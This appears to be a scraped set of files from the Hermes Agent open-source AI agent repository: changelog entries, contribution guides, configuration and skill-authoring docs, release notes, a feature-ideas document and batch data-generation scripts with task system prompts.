- Improved prompt handling and visual output for user input, adapting to terminal width for better readability.
- Implemented a cleanup process to terminate any remaining sandboxes after evaluation, addressing issues with orphaned thread pool workers.
- Enhanced logging to inform users about the cleanup process, ensuring better resource management and user awareness.
- Added a new `_atexit_cleanup` function to handle cleanup of active environments and stop the cleanup thread upon program exit.
- Enhanced logging to inform users about the number of remaining sandboxes being shut down during cleanup.
- Added task_timeout parameter to enforce a maximum wall-clock time for each task, automatically scoring as FAIL if exceeded.
- Introduced terminal_timeout and tool_pool_size parameters to improve command execution and concurrency management.
- Updated logging to provide detailed task execution times and timeout handling, enhancing overall monitoring.
- Removed outdated evaluate_config.yaml file to streamline configuration management.
- Introduced terminal_timeout and terminal_lifetime parameters to control command execution and sandbox inactivity.
- Updated environment variable handling to allow configuration overrides for terminal settings.
- Enhanced logging to provide detailed information about terminal settings during initialization.
- Added tool_pool_size parameter to dynamically resize the thread pool for tool execution, improving concurrency management.
- Increased thread pool size for tool execution from 8 to 128 to improve concurrency and prevent starvation.
- Added a function to resize the tool executor dynamically based on configuration.
- Enhanced logging to track API call durations and tool execution times, including warnings for slow tools.
- Improved overall performance monitoring by logging detailed information for each turn in the agent loop.
- Increased max_token_length from 16000 to 32000 to allow for longer inputs.
- Adjusted agent_temperature from 0.6 to 0.8 for more varied responses.
- Extended test_timeout from 180 to 600 seconds to accommodate longer evaluations.
- Updated data directory path for saving evaluations to ensure proper organization.
- Introduced new environments: Terminal Test Environment and SWE Environment, each with default configurations for testing and software engineering tasks.
- Added TerminalBench 2.0 evaluation environment with comprehensive setup for agentic LLMs, including task execution and verification.
- Enhanced ToolContext with methods for uploading and downloading files, ensuring binary-safe operations.
- Updated documentation across environments to reflect new features and usage instructions.
- Refactored existing environment configurations for consistency and clarity.
- Updated the _SingularityEnvironment class to utilize a persistent Apptainer instance, allowing state (files, installs, environment changes) to persist across commands.
- Enhanced the initialization process to start a background instance with full isolation and writable filesystem.
- Modified the execute method to connect to the running instance, ensuring commands run within the same container context.
- Implemented cleanup functionality to stop the persistent instance on cleanup or destruction, improving resource management.
- Updated class documentation to reflect new features and usage of the persistent environment.
- Introduced a caching strategy that reduces input token costs by ~75% on multi-turn conversations by caching the conversation prefix.
- Added functions to apply cache control markers to messages, enhancing efficiency in token usage.
- Updated AIAgent to auto-enable prompt caching for Claude models, with configurable cache TTL.
- Enhanced logging to track cache hit statistics when caching is active, improving monitoring of token usage.
- Added checks for local installation of the agent-browser CLI in the `_find_agent_browser` function, improving installation guidance.
- Implemented per-task socket directory management in `_run_browser_command` to prevent concurrency issues.
- Updated `cleanup_browser` to remove per-task socket directories, ensuring proper resource cleanup after task completion.
- Refactored comments for clarity and improved documentation throughout the browser tool code.
2026-02-09 04:36:37 +00:00
850 changed files with 207800 additions and 13444 deletions
Thanks for the suggestion! Before submitting, please consider:
- **Is this a new skill?** Most capabilities should be [skills, not tools](https://github.com/NousResearch/hermes-agent/blob/main/CONTRIBUTING.md#should-it-be-a-skill-or-a-tool). If it's a specialized integration (crypto, NFT, niche SaaS), it belongs on the Skills Hub, not bundled.
- **Search [existing issues](https://github.com/NousResearch/hermes-agent/issues)** — someone may have already proposed this.
- type:textarea
id:problem
attributes:
label:Problem or Use Case
description:What problem does this solve? What are you trying to do that you can't today?
placeholder:|
I'm trying to use Hermes with [provider/platform/workflow] but currently
there's no way to...
validations:
required:true
- type:textarea
id:solution
attributes:
label:Proposed Solution
description:How do you think this should work? Be as specific as you can — CLI flags, config options, UI behavior.
placeholder:|
Add a `--foo` flag to `hermes chat` that enables...
Or: Add a config key `bar.baz` that controls...
validations:
required:true
- type:textarea
id:alternatives
attributes:
label:Alternatives Considered
description:What other approaches did you consider? Why is the proposed solution better?
- type:dropdown
id:type
attributes:
label:Feature Type
options:
- New tool
- New bundled skill
- CLI improvement
- Gateway / messaging improvement
- Configuration option
- Performance / reliability
- Developer experience (tests, docs, CI)
- Other
validations:
required:true
- type:dropdown
id:scope
attributes:
label:Scope
description:How big is this change?
options:
- Small (single file, < 50 lines)
- Medium (few files, < 300 lines)
- Large (new module or significant refactor)
- type:checkboxes
id:pr-ready
attributes:
label:Contribution
options:
- label:I'd like to implement this myself and submit a PR
- [ ] I've updated `cli-config.yaml.example` if I added/changed config keys — or N/A
- [ ] I've updated `CONTRIBUTING.md` or `AGENTS.md` if I changed architecture or workflows — or N/A
- [ ] I've considered cross-platform impact (Windows, macOS) per the [compatibility guide](https://github.com/NousResearch/hermes-agent/blob/main/CONTRIBUTING.md#cross-platform-compatibility) — or N/A
- [ ] I've updated tool descriptions/schemas if I changed tool behavior — or N/A
## For New Skills
<!-- Only fill this out if you're adding a skill. Delete this section otherwise. -->
- [ ] This skill is **broadly useful** to most users (if bundled) — see [Contributing Guide](https://github.com/NousResearch/hermes-agent/blob/main/CONTRIBUTING.md#should-the-skill-be-bundled)
The gateway connects Hermes to Telegram, Discord, and WhatsApp.
### Configuration (in `~/.hermes/.env`):
```bash
# Telegram
TELEGRAM_BOT_TOKEN=123456:ABC-DEF... # From @BotFather
TELEGRAM_ALLOWED_USERS=123456789,987654 # Comma-separated user IDs (from @userinfobot)
# Discord
DISCORD_BOT_TOKEN=MTIz... # From Developer Portal
DISCORD_ALLOWED_USERS=123456789012345678# Comma-separated user IDs
# Agent Behavior
HERMES_MAX_ITERATIONS=60# Max tool-calling iterations
MESSAGING_CWD=/home/myuser # Terminal working directory for messaging
# Tool Progress (optional)
HERMES_TOOL_PROGRESS=true# Send progress messages
HERMES_TOOL_PROGRESS_MODE=new # "new" or "all"
```
### Working Directory Behavior
- **CLI (`hermes` command)**: Uses current directory (`.` → `os.getcwd()`)
- **Messaging (Telegram/Discord)**: Uses `MESSAGING_CWD` (default: home directory)
This is intentional: CLI users are in a terminal and expect the agent to work in their current directory, while messaging users need a consistent starting location.
### Security (User Allowlists):
**IMPORTANT**: Without an allowlist, anyone who finds your bot can use it!
The gateway checks `{PLATFORM}_ALLOWED_USERS` environment variables:
- If set: Only listed user IDs can interact with the bot
- If unset: All users are allowed (dangerous with terminal access!)
- **Discord**: Enable Developer Mode, right-click name → Copy ID
### Tool Progress Notifications
When `HERMES_TOOL_PROGRESS=true`, the bot sends status messages as it works:
-`💻 \`ls -la\`...` (terminal commands show the actual command)
-`🔍 web_search...`
-`📄 web_extract...`
Modes:
-`new`: Only when switching to a different tool (less spam)
-`all`: Every single tool call
### Typing Indicator
The gateway keeps the "typing..." indicator active throughout processing, refreshing every 4 seconds. This lets users know the bot is working even during long tool-calling sequences.
### Platform Toolsets:
Each platform has a dedicated toolset in `toolsets.py`:
-`hermes-telegram`: Full tools including terminal (with safety checks)
-`hermes-discord`: Full tools including terminal
-`hermes-whatsapp`: Full tools including terminal
---
## Configuration System
Configuration files are stored in `~/.hermes/` for easy user access:
-`~/.hermes/config.yaml` - All settings (model, terminal, compression, etc.)
-`~/.hermes/.env` - API keys and secrets
### Adding New Configuration Options
When adding new configuration variables, you MUST follow this process:
#### For config.yaml options:
1. Add to `DEFAULT_CONFIG` in `hermes_cli/config.py`
2.**CRITICAL**: Bump `_config_version` in `DEFAULT_CONFIG` when adding required fields
3. This triggers migration prompts for existing users on next `hermes update` or `hermes setup`
Example:
```python
DEFAULT_CONFIG={
# ... existing config ...
"new_feature":{
"enabled":True,
"option":"default_value",
},
# BUMP THIS when adding required fields
"_config_version":2,# Was 1, now 2
}
```
#### For .env variables (API keys/secrets):
1. Add to `REQUIRED_ENV_VARS` or `OPTIONAL_ENV_VARS` in `hermes_cli/config.py`
2. Include metadata for the migration system:
```python
OPTIONAL_ENV_VARS={
# ... existing vars ...
"NEW_API_KEY":{
"description":"What this key is for",
"prompt":"Display name in prompts",
"url":"https://where-to-get-it.com/",
"tools":["tools_it_enables"],# What tools need this
"password":True,# Mask input
},
}
```
#### Update related files:
-`hermes_cli/setup.py` - Add prompts in the setup wizard
-`cli-config.yaml.example` - Add example with comments
- Update README.md if user-facing
### Config Version Migration
The system uses `_config_version` to detect outdated configs:
1.`check_for_missing_config()` compares user config to `DEFAULT_CONFIG`
2.`migrate_config()` interactively prompts for missing values
3. Called automatically by `hermes update` and optionally by `hermes setup`
---
## Environment Variables
API keys are loaded from `~/.hermes/.env`:
-`OPENROUTER_API_KEY` - Main LLM API access (primary provider)
The skin engine (`hermes_cli/skin_engine.py`) provides data-driven CLI visual customization. Skins are **pure data** — no code changes needed to add a new skin.
Thank you for contributing to Hermes Agent! This guide covers everything you need: setting up your dev environment, understanding the architecture, deciding what to build, and getting your PR merged.
---
## Contribution Priorities
We value contributions in this order:
1.**Bug fixes** — crashes, incorrect behavior, data loss. Always top priority.
2.**Cross-platform compatibility** — Windows, macOS, different Linux distros, different terminal emulators. We want Hermes to work everywhere.
Bundled skills (in `skills/`) ship with every Hermes install. They should be **broadly useful to most users**:
- Document handling, web research, common dev workflows, system administration
- Used regularly by a wide range of people
If your skill is official and useful but not universally needed (e.g., a paid service integration, a heavyweight dependency), put it in **`optional-skills/`** — it ships with the repo but isn't activated by default. Users can discover it via `hermes skills browse` (labeled "official") and install it with `hermes skills install` (no third-party warning, builtin trust).
If your skill is specialized, community-contributed, or niche, it's better suited for a **Skills Hub** — upload it to a skills registry and share it in the [Nous Research Discord](https://discord.gg/NousResearch). Users can install it with `hermes skills install`.
---
## Development Setup
### Prerequisites
| Requirement | Notes |
|-------------|-------|
| **Git** | With `--recurse-submodules` support |
| **Python 3.11+** | uv will install it if missing |
| **uv** | Fast Python package manager ([install](https://docs.astral.sh/uv/)) |
| **Node.js 18+** | Optional — needed for browser tools and WhatsApp bridge |
├── Build API kwargs (model, messages, tools, reasoning config)
├── Call LLM (OpenAI-compatible API)
├── If tool_calls in response:
│ ├── Execute each tool via registry dispatch
│ ├── Add tool results to conversation
│ └── Loop back to LLM call
├── If text response:
│ ├── Persist session to DB
│ └── Return final_response
└── Context compression if approaching token limit
```
### Key Design Patterns
- **Self-registering tools**: Each tool file calls `registry.register()` at import time. `model_tools.py` triggers discovery by importing all tool modules.
- **Toolset grouping**: Tools are grouped into toolsets (`web`, `terminal`, `file`, `browser`, etc.) that can be enabled/disabled per platform.
- **Session persistence**: All conversations are stored in SQLite (`hermes_state.py`) with full-text search and unique session titles. JSON logs go to `~/.hermes/sessions/`.
- **Ephemeral injection**: System prompts and prefill messages are injected at API call time, never persisted to the database or logs.
- **Provider abstraction**: The agent works with any OpenAI-compatible API. Provider resolution happens at init time (Nous Portal OAuth, OpenRouter API key, or custom endpoint).
- **Provider routing**: When using OpenRouter, `provider_routing` in config.yaml controls provider selection (sort by throughput/latency/price, allow/ignore specific providers, data retention policies). These are injected as `extra_body.provider` in API requests.
---
## Code Style
- **PEP 8** with practical exceptions (we don't enforce strict line length)
- **Comments**: Only when explaining non-obvious intent, trade-offs, or API quirks. Don't narrate what the code does — `# increment counter` adds nothing
- **Error handling**: Catch specific exceptions. Log with `logger.warning()`/`logger.error()` — use `exc_info=True` for unexpected errors so stack traces appear in logs
- **Cross-platform**: Never assume Unix. See [Cross-Platform Compatibility](#cross-platform-compatibility)
---
## Adding a New Tool
Before writing a tool, ask: [should this be a skill instead?](#should-it-be-a-skill-or-a-tool)
Tools self-register with the central registry. Each tool file co-locates its schema, handler, and registration:
```python
"""my_tool — Brief description of what this tool does."""
env_vars: [MY_API_KEY] # Backward-compatible alias for required env vars
commands: [curl, jq] # Advisory only; does not hide the skill
metadata:
hermes:
tags: [Category, Subcategory, Keywords]
related_skills: [other-skill-name]
fallback_for_toolsets: [web] # Optional — show only when toolset is unavailable
requires_toolsets: [terminal] # Optional — show only when toolset is available
---
# Skill Title
Brief intro.
## When to Use
Trigger conditions — when should the agent load this skill?
## Quick Reference
Table of common commands or API calls.
## Procedure
Step-by-step instructions the agent follows.
## Pitfalls
Known failure modes and how to handle them.
## Verification
How the agent confirms it worked.
```
### Platform-specific skills
Skills can declare which OS platforms they support via the `platforms` frontmatter field. Skills with this field are automatically hidden from the system prompt, `skills_list()`, and slash commands on incompatible platforms.
```yaml
platforms:[macos] # macOS only (e.g., iMessage, Apple Reminders)
platforms:[macos, linux] # macOS and Linux
platforms:[windows] # Windows only
```
If the field is omitted or empty, the skill loads on all platforms (backward compatible). See `skills/apple/` for examples of macOS-only skills.
### Conditional skill activation
Skills can declare conditions that control when they appear in the system prompt, based on which tools and toolsets are available in the current session. This is primarily used for **fallback skills** — alternatives that should only be shown when a primary tool is unavailable.
Four fields are supported under `metadata.hermes`:
```yaml
metadata:
hermes:
fallback_for_toolsets:[web] # Show ONLY when these toolsets are unavailable
requires_toolsets:[terminal] # Show ONLY when these toolsets are available
fallback_for_tools:[web_search] # Show ONLY when these specific tools are unavailable
requires_tools:[terminal] # Show ONLY when these specific tools are available
```
**Semantics:**
-`fallback_for_*`: The skill is a backup. It is **hidden** when the listed tools/toolsets are available, and **shown** when they are unavailable. Use this for free alternatives to premium tools.
-`requires_*`: The skill needs certain tools to function. It is **hidden** when the listed tools/toolsets are unavailable. Use this for skills that depend on specific capabilities (e.g., a skill that only makes sense with terminal access).
- If both are specified, both conditions must be satisfied for the skill to appear.
- If neither is specified, the skill is always shown (backward compatible).
**Examples:**
```yaml
# DuckDuckGo search — shown when Firecrawl (web toolset) is unavailable
metadata:
hermes:
fallback_for_toolsets:[web]
# Smart home skill — only useful when terminal is available
metadata:
hermes:
requires_toolsets:[terminal]
# Local browser fallback — shown when Browserbase is unavailable
metadata:
hermes:
fallback_for_toolsets:[browser]
```
The filtering happens at prompt build time in `agent/prompt_builder.py`. The `build_skills_system_prompt()` function receives the set of available tools and toolsets from the agent and uses `_skill_should_show()` to evaluate each skill's conditions.
### Skill setup metadata
Skills can declare secure setup-on-load metadata via the `required_environment_variables` frontmatter field. Missing values do not hide the skill from discovery; they trigger a CLI-only secure prompt when the skill is actually loaded.
```yaml
required_environment_variables:
- name:TENOR_API_KEY
prompt:Tenor API key
help:Get a key from https://developers.google.com/tenor
required_for:full functionality
```
The user may skip setup and keep loading the skill. Hermes only exposes metadata (`stored_as`, `skipped`, `validated`) to the model — never the secret value.
Legacy `prerequisites.env_vars` remains supported and is normalized into the new representation.
```yaml
prerequisites:
env_vars:[TENOR_API_KEY] # Legacy alias for required_environment_variables
commands:[curl, jq] # Advisory CLI checks
```
Gateway and messaging sessions never collect secrets in-band; they instruct the user to run `hermes setup` or update `~/.hermes/.env` locally.
**When to declare required environment variables:**
- The skill uses an API key or token that should be collected securely at load time
- The skill can still be useful if the user skips setup, but may degrade gracefully
**When to declare command prerequisites:**
- The skill relies on a CLI tool that may not be installed (e.g., `himalaya`, `openhue`, `ddgs`)
- Treat command checks as guidance, not discovery-time hiding
See `skills/gifs/gif-search/` and `skills/email/himalaya/` for examples.
- **Progressive disclosure.** Put the most common workflow first. Edge cases and advanced usage go at the bottom.
- **Include helper scripts** for XML/JSON parsing or complex logic — don't expect the LLM to write parsers inline every time.
- **Test it.** Run `hermes --toolsets skills -q "Use the X skill to do Y"` and verify the agent follows the instructions correctly.
---
## Adding a Skin / Theme
Hermes uses a data-driven skin system — no code changes needed to add a new skin.
**Option A: User skin (YAML file)**
Create `~/.hermes/skins/<name>.yaml`:
```yaml
name:mytheme
description:Short description of the theme
colors:
banner_border:"#HEX"# Panel border color
banner_title:"#HEX"# Panel title color
banner_accent:"#HEX"# Section header color
banner_dim:"#HEX"# Muted/dim text color
banner_text:"#HEX"# Body text color
response_border:"#HEX"# Response box border
spinner:
waiting_faces:["(⚔)","(⛨)"]
thinking_faces:["(⚔)","(⌁)"]
thinking_verbs:["forging","plotting"]
wings:# Optional left/right decorations
- ["⟪⚔","⚔⟫"]
branding:
agent_name:"My Agent"
welcome:"Welcome message"
response_label:" ⚔ Agent "
prompt_symbol:"⚔ ❯ "
tool_prefix:"╎"# Tool output line prefix
```
All fields are optional — missing values inherit from the default skin.
**Option B: Built-in skin**
Add to `_BUILTIN_SKINS` dict in `hermes_cli/skin_engine.py`. Use the same schema as above but as a Python dict. Built-in skins ship with the package and are always available.
**Activating:**
- CLI: `/skin mytheme` or set `display.skin: mytheme` in config.yaml
- Config: `display: { skin: mytheme }`
See `hermes_cli/skin_engine.py` for the full schema and existing skins as examples.
---
## Cross-Platform Compatibility
Hermes runs on Linux, macOS, and Windows. When writing code that touches the OS:
### Critical rules
1.**`termios` and `fcntl` are Unix-only.** Always catch both `ImportError` and `NotImplementedError`:
```python
try:
from simple_term_menu import TerminalMenu
menu = TerminalMenu(options)
idx = menu.show()
except (ImportError, NotImplementedError):
# Fallback: numbered menu for Windows
for i, opt in enumerate(options):
print(f" {i+1}. {opt}")
idx = int(input("Choice: ")) - 1
```
2. **File encoding.** Windows may save `.env` files in `cp1252`. Always handle encoding errors:
```python
try:
load_dotenv(env_path)
except UnicodeDecodeError:
load_dotenv(env_path, encoding="latin-1")
```
3. **Process management.** `os.setsid()`, `os.killpg()`, and signal handling differ on Windows. Use platform checks:
```python
import platform
if platform.system() != "Windows":
kwargs["preexec_fn"] = os.setsid
```
4. **Path separators.** Use `pathlib.Path` instead of string concatenation with `/`.
5. **Shell commands in installers.** If you change `scripts/install.sh`, check if the equivalent change is needed in `scripts/install.ps1`.
> First tagged release since v0.1.0 (the initial pre-public foundation). In just over two weeks, Hermes Agent went from a small internal project to a full-featured AI agent platform — thanks to an explosion of community contributions. This release covers **216 merged pull requests** from **63 contributors**, resolving **119 issues**.
---
## ✨ Highlights
- **Multi-Platform Messaging Gateway** — Telegram, Discord, Slack, WhatsApp, Signal, Email (IMAP/SMTP), and Home Assistant platforms with unified session management, media attachments, and per-platform tool configuration.
- **MCP (Model Context Protocol) Client** — Native MCP support with stdio and HTTP transports, reconnection, resource/prompt discovery, and sampling (server-initiated LLM requests). ([#291](https://github.com/NousResearch/hermes-agent/pull/291) — @0xbyt4, [#301](https://github.com/NousResearch/hermes-agent/pull/301), [#753](https://github.com/NousResearch/hermes-agent/pull/753))
- **Skills Ecosystem** — 70+ bundled and optional skills across 15+ categories with a Skills Hub for community discovery, per-platform enable/disable, conditional activation based on tool availability, and prerequisite validation. ([#743](https://github.com/NousResearch/hermes-agent/pull/743) — @teyrebaz33, [#785](https://github.com/NousResearch/hermes-agent/pull/785) — @teyrebaz33)
- **Centralized Provider Router** — Unified `call_llm()`/`async_call_llm()` API replaces scattered provider logic across vision, summarization, compression, and trajectory saving. All auxiliary consumers route through a single code path with automatic credential resolution. ([#1003](https://github.com/NousResearch/hermes-agent/pull/1003))
- **ACP Server** — VS Code, Zed, and JetBrains editor integration via the Agent Communication Protocol standard. ([#949](https://github.com/NousResearch/hermes-agent/pull/949))
- **Git Worktree Isolation** — `hermes -w` launches isolated agent sessions in git worktrees for safe parallel work on the same repo. ([#654](https://github.com/NousResearch/hermes-agent/pull/654))
- **Filesystem Checkpoints & Rollback** — Automatic snapshots before destructive operations with `/rollback` to restore. ([#824](https://github.com/NousResearch/hermes-agent/pull/824))
- **3,289 Tests** — From near-zero test coverage to a comprehensive test suite covering agent, gateway, tools, cron, and CLI.
---
## 🏗️ Core Agent & Architecture
### Provider & Model Support
- Centralized provider router with `resolve_provider_client()` + `call_llm()` API ([#1003](https://github.com/NousResearch/hermes-agent/pull/1003))
- Nous Portal as first-class provider in setup ([#644](https://github.com/NousResearch/hermes-agent/issues/644))
- OpenAI Codex (Responses API) with ChatGPT subscription support ([#43](https://github.com/NousResearch/hermes-agent/pull/43)) — @grp06
- Codex OAuth vision support + multimodal content adapter
- Validate `/model` against live API instead of hardcoded lists
- Self-hosted Firecrawl support ([#460](https://github.com/NousResearch/hermes-agent/pull/460)) — @caentzminger
- Kimi Code API support ([#635](https://github.com/NousResearch/hermes-agent/pull/635)) — @christomitov
- MiniMax model ID update ([#473](https://github.com/NousResearch/hermes-agent/pull/473)) — @tars90percent
Thank you to the 63 contributors who made this release possible! In just over two weeks, the Hermes Agent community came together to ship an extraordinary amount of work.
> Ideas for enhancing the agent's capabilities, generated from self-analysis of the codebase.
---
## 1. Subagent Architecture (Context Isolation) 🎯
**Problem:** Long-running tools (terminal commands, browser automation, complex file operations) consume massive context. A single `ls -la` can add hundreds of lines. Browser snapshots, debugging sessions, and iterative terminal work quickly bloat the main conversation, leaving less room for actual reasoning.
**Solution:** The main agent becomes an **orchestrator** that delegates context-heavy tasks to **subagents**.
- 🎯 **Focused subagents** - Each agent has just the tools it needs
- 🔄 **Parallel potential** - Independent subtasks could run concurrently
- 🐛 **Easier debugging** - Each subtask has its own isolated transcript
**When to use subagents vs direct tools:**
- **Subagent**: Multi-step tasks, iteration likely, lots of output expected
- **Direct**: Quick one-off commands, simple file reads, user needs to see output
**Files to modify:** `run_agent.py` (add orchestration mode), new `tools/delegate_tools.py`, new `subagent_runner.py`
---
## 2. Planning & Task Management 📋
**Problem:** Agent handles tasks reactively without explicit planning. Complex multi-step tasks lack structure, progress tracking, and the ability to decompose work into manageable chunks.
- Skills can reference other skills as dependencies
- "To do X, first apply skill Y, then skill Z"
- Directed graph of skill dependencies
**Files to modify:** `tools/skills_tool.py`, `skills/` directory structure, new `skill_generator.py`
---
## 4. Interactive Clarifying Questions Tool ❓
**Problem:** Agent sometimes makes assumptions or guesses when it should ask the user. Currently can only ask via text, which gets lost in long outputs.
**Ideas:**
- [ ] **Multiple-choice prompt tool** - Let agent present structured choices to user:
```
ask_user_choice(
question="Should the language switcher enable only German or all languages?",
choices=[
"Only enable German - works immediately",
"Enable all, mark untranslated - show fallback notice",
"Let me specify something else"
]
)
```
- Renders as interactive terminal UI with arrow key / Tab navigation
- User selects option, result returned to agent
- Up to 4 choices + optional free-text option
- [ ] **Implementation:**
- Use `inquirer` or `questionary` Python library for rich terminal prompts
- Tool returns selected option text (or user's custom input)
- **CLI-only** - only works when running via `cli.py` (not API/programmatic use)
- Graceful fallback: if not in interactive mode, return error asking agent to rephrase as text
- [ ] **Use cases:**
- Clarify ambiguous requirements before starting work
- Confirm destructive operations with clear options
- Let user choose between implementation approaches
- Checkpoint complex multi-step workflows
**Files to modify:** New `tools/ask_user_tool.py`, `cli.py` (detect interactive mode), `model_tools.py`
---
## 5. Collaborative Problem Solving 🤝
**Problem:** Interaction is command/response. Complex problems benefit from dialogue.
**Ideas:**
- [ ] **Assumption surfacing** - Make implicit assumptions explicit:
- "I'm assuming you want Python 3.11+. Correct?"
- "This solution assumes you have sudo access..."
- Let user correct before going down wrong path
- [ ] **Checkpoint & confirm** - For high-stakes operations:
- "About to delete 47 files. Here's the list - proceed?"
- "This will modify your database. Want a backup first?"
- Configurable threshold for when to ask
**Files to modify:** `run_agent.py`, system prompt configuration
---
## 6. Project-Local Context 💾
**Problem:** Valuable context lost between sessions.
**Problem:** Agent currently only works via `cli.py` which requires direct terminal access. Users may want to interact via messaging apps from their phone or other devices.
*Inspired by [Dash](~/agent-codebases/dash) - a self-learning data agent.*
**Problem:** Agent starts fresh every session. Valuable learnings from debugging, error patterns, successful approaches, and user preferences are lost.
**Dash's Key Insight:** Separate **Knowledge** (static, curated) from **Learnings** (dynamic, discovered):
| System | What It Stores | How It Evolves |
|--------|---------------|----------------|
| **Knowledge** (Skills) | Validated approaches, templates, best practices | Curated by user |
f'[SYSTEM: The user has invoked the "{skill_name}" skill, indicating they want you to follow its instructions. The full skill content is loaded below.]',
"",
content.strip(),
]
ifloaded_skill.get("setup_skipped"):
parts.extend(
[
"",
"[Skill setup note: Required environment setup was skipped. Continue loading the skill and explain any reduced functionality if it matters.]",
echo"🌐 Running browser-focused tasks with browser_tasks distribution"
python batch_runner.py \
--dataset_file="browser-use-tasks.jsonl"\
--batch_size=20\
--run_name="browser_tasks"\
--distribution="browser_tasks"\
--model="moonshotai/kimi-k2.5"\
--verbose \
--base_url="https://openrouter.ai/api/v1"\
--num_workers=50\
--max_turns=60\
--resume \
--ephemeral_system_prompt="You are an AI assistant with browser automation capabilities. Your primary task is to navigate and interact with web pages to accomplish user goals.
IMPORTANT GUIDELINES:
1. SEARCHING: Do NOT try to search directly on Google or other search engines via the browser - they block automated searches. Instead, ALWAYS use the web_search tool first to find URLs for any pages you need to visit, then use browser tools to navigate to those URLs.
2. COOKIE/PRIVACY DIALOGS: After navigating to a page, ALWAYS check if there are cookie consent dialogs, privacy popups, or overlay modals blocking the page. These appear in snapshots as 'dialog' elements with buttons like 'Close', 'Accept', 'Accept All', 'Decline', 'I Agree', 'Got it', 'OK', or 'X'. You MUST dismiss these dialogs FIRST by clicking the appropriate button before trying to interact with other page elements. After dismissing a dialog, take a fresh browser_snapshot to get updated element references.
3. HANDLING TIMEOUTS: If an action times out, it often means the element is blocked by an overlay or the page state has changed. Take a new snapshot to see the current page state and look for any dialogs or popups that need to be dismissed. If there is no dialog box to bypass, then try a new method or report the error to the user and complete the task.
4. GENERAL: Use browser tools to click elements, fill forms, extract information, and perform web-based tasks. If terminal is available, use it for any local file operations or computations needed to support your web tasks. Be thorough in verifying your actions and handle any errors gracefully by retrying or trying alternative approaches."\
--ephemeral_system_prompt="When generating an image for the user view the image by using the vision_analyze tool to ensure it is what the user wanted. If it isn't feel free to retry a few times. If none are perfect, choose the best option that is the closest match, and explain its imperfections. If the image generation tool fails, try again a few times. If the vision analyze tool fails, provide the image to the user and explain it is your best effort attempt."\
--ephemeral_system_prompt="You have access to a variety of tools to help you solve scientific, math, and technology problems presented to you. You can use them in sequence and build off of the results of prior tools you've used results. Always use the terminal or search tool if it can provide additional context, verify formulas, double check concepts and recent studies and understanding, doing all calculations, etc. You should only be confident in your own reasoning, knowledge, or calculations if you've exhaustively used all tools available to you to that can help you verify or validate your work. Always pip install any packages you need to use the python scripts you want to run. If you need to use a tool that isn't available, you can use the terminal tool to install or create it in many cases as well. Do not use the terminal tool to communicate with the user, as they cannot see your commands, only your final response after completing the task. Search for at least 3 sources, but not more than 12, so you can maintain focused context."\
--ephemeral_system_prompt="You have access to a variety of tools to help you solve scientific, math, and technology problems presented to you. You can use them in sequence and build off of the results of prior tools you've used for furthering results. Always use the terminal or search tool if it can provide additional context, verify formulas, double check concepts and recent studies and understanding, doing all calculations, etc. You should only be confident in your own reasoning, knowledge, or calculations if you've exhaustively used all tools available to you to that can help you verify or validate your work. Always pip install any packages you need to use the python scripts you want to run. If you need to use a tool that isn't available, you can use the terminal tool to install or create it in many cases as well. Do not use the terminal tool to communicate with the user, as they cannot see your commands, only your final response after completing the task. Search for at least 3 sources, but not more than 12, so you can maintain a focused context."\
--ephemeral_system_prompt="You have access to a variety of tools to help you complete coding, system administration, and general computing tasks. You can use them in sequence and build off of the results of prior tools you've used. Always use the terminal tool to execute commands, write code, install packages, and verify your work. You should test and validate everything you create. Always pip install any packages you need (use --break-system-packages if needed). If you need a tool that isn't available, you can use the terminal to install or create it. Do not use the terminal tool to communicate with the user, as they cannot see your commands, only your final response after completing the task. Use web search when you need to look up documentation, APIs, or current best practices."\
--ephemeral_system_prompt="You have access to a variety of tools to help you solve scientific, math, and technology problems presented to you. You can use them in sequence and build off of the results of prior tools you've used results. Always use a tool if it can provide additional context, verify formulas, double check concepts and recent studies and understanding, doing all calculations, etc. You should not be confident in your own reasoning, knowledge, or calculations without using a tool to verify or validate your work."
--ephemeral_system_prompt="You have access to a variety of tools to help you solve scientific, math, and technology problems presented to you. You can use them in sequence and build off of the results of prior tools you've used results. Always use the terminal or search tool if it can provide additional context, verify formulas, double check concepts and recent studies and understanding, doing all calculations, etc. You should only be confident in your own reasoning, knowledge, or calculations if you've exhaustively used all tools available to you to that can help you verify or validate your work. Always pip install any packages you need to use the python scripts you want to run. If you need to use a tool that isn't available, you can use the terminal tool to install or create it in many cases as well. Do not use the terminal tool to communicate with the user, as they cannot see your commands, only your final response after completing the task. Search for at least 3 sources, but not more than 12."
--ephemeral_system_prompt="You have access to a variety of tools to help you complete coding, system administration, and general computing tasks. You can use them in sequence and build off of the results of prior tools you've used. Always use the terminal tool to execute commands, write code, install packages, and verify your work. You should test and validate everything you create. Always pip install any packages you need (use --break-system-packages if needed). If you need a tool that isn't available, you can use the terminal to install or create it. Do not use the terminal tool to communicate with the user, as they cannot see your commands, only your final response after completing the task. Use web search when you need to look up documentation, APIs, or current best practices."\
--ephemeral_system_prompt="You have access to a terminal tool for executing commands. Use it to complete the task. Install any packages you need with apt-get or pip (use --break-system-packages if needed). Do not use interactive tools (vim, nano, python repl). If git output is large, pipe to cat."\
--ephemeral_system_prompt="You are an AI assistant capable of both browser automation and terminal operations. Use browser tools to navigate websites, interact with web pages, fill forms, and extract information. Use terminal tools to execute commands, write and run code, install packages (use --break-system-packages with pip if needed), and perform local computations. When web search is available, use it to find URLs, documentation, or current information. If vision is available, use it to analyze images or screenshots. If image generation is available, use it when the task requires creating images. Combine browser and terminal capabilities effectively - for example, you might use the browser to fetch data from a website and terminal to process or analyze it. Always verify your work and handle errors gracefully. Whenever you can do something in a terminal instead of a web browser, you should choose to do so, as it's much cheaper."\
# Set up Apptainer cache directories (use /scratch if available, otherwise /tmp)
if[ -d "/scratch"]&&[ -w "/scratch"];then
CACHE_BASE="/scratch/$USER/.apptainer"
else
CACHE_BASE="/tmp/$USER/.apptainer"
fi
exportAPPTAINER_CACHEDIR="$CACHE_BASE"
exportAPPTAINER_TMPDIR="$CACHE_BASE/tmp"
mkdir -p "$APPTAINER_CACHEDIR""$APPTAINER_TMPDIR"
echo"📁 Apptainer cache: $APPTAINER_CACHEDIR"
echo"🐳 Image: $TERMINAL_SINGULARITY_IMAGE (auto-converted to SIF on first use)"
python batch_runner.py \
--dataset_file="nous-terminal-tasks.jsonl"\
--batch_size=5\
--run_name="terminal_tasks-kimi-k2.5"\
--distribution="terminal_tasks"\
--model="moonshotai/kimi-k2.5"\
--verbose \
--base_url="https://openrouter.ai/api/v1"\
--num_workers=80\
--max_turns=60\
--providers_ignored="Novita"\
--resume \
